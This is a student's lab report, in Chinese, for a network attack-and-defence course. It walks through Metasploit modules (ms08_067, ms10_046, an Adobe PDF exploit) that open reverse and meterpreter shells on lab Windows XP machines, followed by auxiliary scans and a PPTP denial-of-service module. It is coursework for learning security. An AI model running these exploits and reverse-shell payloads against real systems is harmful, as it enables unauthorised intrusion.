2018-2019-2 20165332《网络攻防技术》Exp5 MSF基础应用

1.基础问题回答

用自己的话解释什么是exploit,payload,encode.

exploit：就是利用可能存在的漏洞对目标进行攻击，相当于一个载具

payload：就是攻击的代码，是载荷。

encode：为了帮助攻击载荷避免被杀软发现，进行伪装。

2.实践总结与体会

在辅助模块这里，可以发现很多旧版本的软件有漏洞，从而可以进行相关的攻击，在此次实验中就体验了旧版本有漏洞的一些软件进行了攻击并且很轻易就实现了，所以有漏洞时，一定要尽快打补丁，不能让别人有机可乘哈哈哈。。

3.离实战还缺些什么技术或步骤？

实战的时候要结合靶机的具体环境考虑，结合具体应用的漏洞去实践。

4.实践过程记录

主动攻击：ms08_067

windows ip :192.168.128.135
kali ip :192.168.128.133
实验前先查看kali与靶机是否可以ping通

输入msfconsole进入msf,首先使用search命令搜寻有关漏洞MS08_067的相关信息

用use exploit/windows/smb/ms08_067_netapi使用该模块：
再使用show payloads查看可以供我们使用的payload：

用show targets查看可以被攻击的靶机的操作系统型号，这里我们默认选择0采用自动选取


接下来设置攻击有效载荷（set payload generic/shell_reverse_tcp）
我们的目的是为了获取靶机的shell，因此这里我们选择通过反向连接来获取shell的generic/shell_reverse_tcp当payload，使用指令set payload generic/shell_reverse_tcp对payload进行设置：

使用指令show options查看我们需要设置的参数，发现需要设置一个
RHOST（远程主机，即靶机的IP地址）和一个LHOST（本地主机，即攻击机的IP地址）：

设置完相应的参数后，再次使用show options对攻击的选项进行查看：


攻击成功后获取了靶机的shell，使用systeminfo指令查看靶机系统信息：

在kali上执行ipconfig/all得到如下图所示：

IE浏览器渗透攻击——ms10_046安全漏洞

基本步骤还是和上面一样，先利用search ms10_046指令查看可以运用的攻击模块：

使用命令，选取模块use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
使用指令set payload generic/shell_reverse_tcp对payload进行设置：
再输入命令show options
然后查看需要设置的参数，SRVHOST填的是本地监听主机的IP地址，LHOST也是监听的IP地址，所以这里SRVHOST和LHOST都应该填攻击机的IP地址：

进行设置并且查看：

使用exploit指令执行漏洞，可以看到生成了一个url:

在靶机的IE浏览器上使用该url进行访问，在MSF终端看见提示404错误

针对客户端的攻击

用search adobe查询一下针对该漏洞的攻击模块：

选择了rank为good这款：

输入命令use exploit/windows/fileformat/adobe_utilprintf进入该漏洞模块的使用

使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。
输入命令show options显示我们需要在攻击前需要设置的数据
输入exploit,生成pdf文件，并可以看到pdf所在文件夹，将pdf复制到靶机里。

粘贴到xp中：

使用use exploit/multi/handler新建一个监听模块
使用set payloads windws/meterpreter/reverse_tcp建立一个反向连接，设置set LPORT 5332

使用命令exploit开始攻击，在xp中打开pdf。同时kali会显示连接成功的结果。

输入shell获取靶机信息

在靶机xp中使用命令netstat -an,看本地tcp连接。

辅助模块应用

开放端口扫描
使用show auxiliary查看可以运用的辅助模块：

使用此模块扫描端口use auxiliary/scanner/portscan/syn
使用命令show optionsset RHOSTS 192.168.128.136（目标）set THREADS 50（线程）exploit

监听结果显示：

枚举系统上的用户
模块：auxiliary/scanner/smb/smb_enumusers
功能：枚举系统上的用户
使用命令：use auxiliary/scanner/smb/smb_enumusers进行设置：

然后就可以开始exploit了。

cert扫描
用途：可以查到一个子网段内的服务器的证书情况。
这是用于扫描ssl证书的，ssl安全连接需要身份认证——数字证书
使用命令use auxiliary/scanner/http/cert进行相关设置

扫描结果：

MS02 _ 063 _ pptp_dos

这是Windows 2000/XP中PPTP服务的拒绝服务攻击缺陷。
攻击者利用此缺陷仅仅能够进行拒绝服务攻击，并不能获得任何信息和任何权限。
使用use使用此模块：

进行配置：

exploit看看效果：竟然被拒绝了。。。

arp_sweep
arp_sweep使用ARP请求枚举本地局域网络中的所有活跃主机进行扫描。进入模块后查询一下参数，
msf > use auxiliary/scanner/discovery/arp_sweep ---进入arp_sweep 模块
msf auxiliary(arp_sweep) > show options ---查询模块参数
并且配置好后进行exploit：

因为打开了win xp和虚拟机kali，扫描到了好几个活跃机，
发现xp的ip地址是：
192.168.128.138
主机的ip地址是
192.168.128.1